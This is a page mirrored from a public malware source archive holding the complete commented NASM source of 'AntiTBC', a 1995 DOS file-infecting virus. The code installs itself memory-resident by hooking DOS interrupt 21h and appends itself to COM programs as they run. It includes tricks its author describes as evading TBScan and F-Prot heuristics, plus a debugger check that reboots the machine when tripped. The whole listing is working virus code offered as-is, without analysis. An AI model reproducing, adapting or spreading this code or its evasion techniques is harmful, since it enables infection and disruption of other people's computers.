mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
177 lines
5.3 KiB
NASM
177 lines
5.3 KiB
NASM
; AntiTBC - written by Conzouler/IR 1995
|
|
;
|
|
; Based on RSV.
|
|
;
|
|
; Features:
|
|
; memory resident
|
|
; com-append on execute
|
|
; no tb-flags (of course)
|
|
; no f-prot heuristics
|
|
; fools tbclean (look at the restore routine)
|
|
;
|
|
|
|
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
psize equ (offset last - offset entry) / 10h + 2
|
|
size equ offset last - offset entry
|
|
|
|
entry:
|
|
db 0e9h,0,0 ; Initial jump
|
|
start:
|
|
call gores
|
|
|
|
oentry db 0CDh,20h,90h
|
|
|
|
gores:
|
|
mov ax, 4277h ; Installation check
|
|
int 21h
|
|
jnc restore
|
|
|
|
mov ah, 4Ah ; Get size of memory block
|
|
mov bx, 0FFFFh
|
|
int 21h
|
|
mov ah, 4Ah ; Change size of memory
|
|
sub bx, psize+1 ; Make space for virus
|
|
int 21h
|
|
mov ah, 48h ; Allocate memory
|
|
mov bx, psize
|
|
int 21h
|
|
sub ax, 10h ; Compensate org 100h
|
|
mov es, ax
|
|
mov di, 103h
|
|
mov si, sp ; Get entry point
|
|
mov si, [si]
|
|
sub si, 3 ; Subtract first call
|
|
mov cx, size-3
|
|
rep movsb ; Copy virus to new memory
|
|
push es
|
|
pop ds
|
|
inc byte ptr ds:[0F1h] ; Mark owner of memory
|
|
mov ax, 3521h ; Get interrupt vector
|
|
int 21h
|
|
mov i21o, bx
|
|
mov i21s, es
|
|
mov ah, 25h ; Set interrupt vector
|
|
mov dx, offset vec21
|
|
int 21h
|
|
|
|
restore:
|
|
mov di, 100h
|
|
push cs ; Set es and ds to psp
|
|
pop ds
|
|
push ds
|
|
pop es
|
|
pop si ; Get entry point
|
|
push di ; Save it
|
|
|
|
|
|
; This piece of code will fool a debugger
|
|
|
|
; Check if debugger
|
|
jmp clear ; Clear prefetch queue
|
|
clear: mov byte ptr [$+6], 0 ; Disable next jump
|
|
jmp nodebug ; This jump will be
|
|
; disabled if debugger.
|
|
; Hohoho.. A debugger or TB-Clean...
|
|
; Move destructive code to beginning instead
|
|
mov cx, efflen
|
|
add si, offset effect - offset oentry
|
|
rep movsb
|
|
retn
|
|
|
|
nodebug:
|
|
movsw ; Restore program entry point
|
|
movsb
|
|
retn ; Jump to 100h
|
|
|
|
|
|
effect:
|
|
; This is the effect that will run if a debugger is used.
|
|
; Reboot
|
|
db 0EAh, 000h, 0F0h, 0FFh, 0FFh ; Jump FFFF:F000
|
|
efflen equ $ - offset effect
|
|
|
|
|
|
|
|
vec21:
|
|
cmp ax, 4277h ; Installation check
|
|
jne v21e
|
|
iret
|
|
v21e: cmp ax, 4B00h ; Execute program
|
|
jne v21x
|
|
|
|
push ax ; Infect file
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
|
|
mov ax, 3D82h ; Open file
|
|
int 21h
|
|
xchg ax, bx ; Put handle in bx
|
|
|
|
push cs ; Read first bytes
|
|
pop ds ; to oentry
|
|
mov ah, 3Fh
|
|
mov dx, offset oentry
|
|
mov cx, 3
|
|
int 21h
|
|
cmp byte ptr oentry, 'M' ; Check if exe file
|
|
je infectx
|
|
push cx
|
|
|
|
mov ax, 4202h ; Seek to eof
|
|
xor cx, cx
|
|
cwd ; Zero dx
|
|
int 21h
|
|
|
|
sub ax, 3 ; Get offset to eof
|
|
mov word ptr entry[1], ax ; Save as jump
|
|
xchg dx, ax
|
|
mov ax, 4200h
|
|
int 21h
|
|
mov ah, 3Fh ; Infection check
|
|
mov dx, offset last
|
|
pop cx
|
|
|
|
int 21h
|
|
cmp byte ptr last[2], 0EAh ; Check if infected
|
|
je infectx
|
|
|
|
mov byte ptr entry, 0E9h ; Create jump opcode
|
|
|
|
mov ah, 3Fh ; Append virus
|
|
inc ah ; Fool TBScan
|
|
push ax
|
|
mov dx, 103h
|
|
mov cx, size-7
|
|
int 21h
|
|
|
|
mov ax, 4200h ; Insert jump
|
|
xor cx, cx
|
|
cwd
|
|
int 21h
|
|
|
|
pop ax
|
|
mov dh, 1h ; 100h in dx
|
|
mov cl, 3 ; 3 in cx
|
|
int 21h
|
|
infectx:
|
|
mov ah, 3Eh
|
|
int 21h
|
|
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
|
|
v21x: db 0EAh ; Jump to dos vector
|
|
i21o dw ?
|
|
i21s dw ?
|
|
last:
|
|
end entry
|
|
|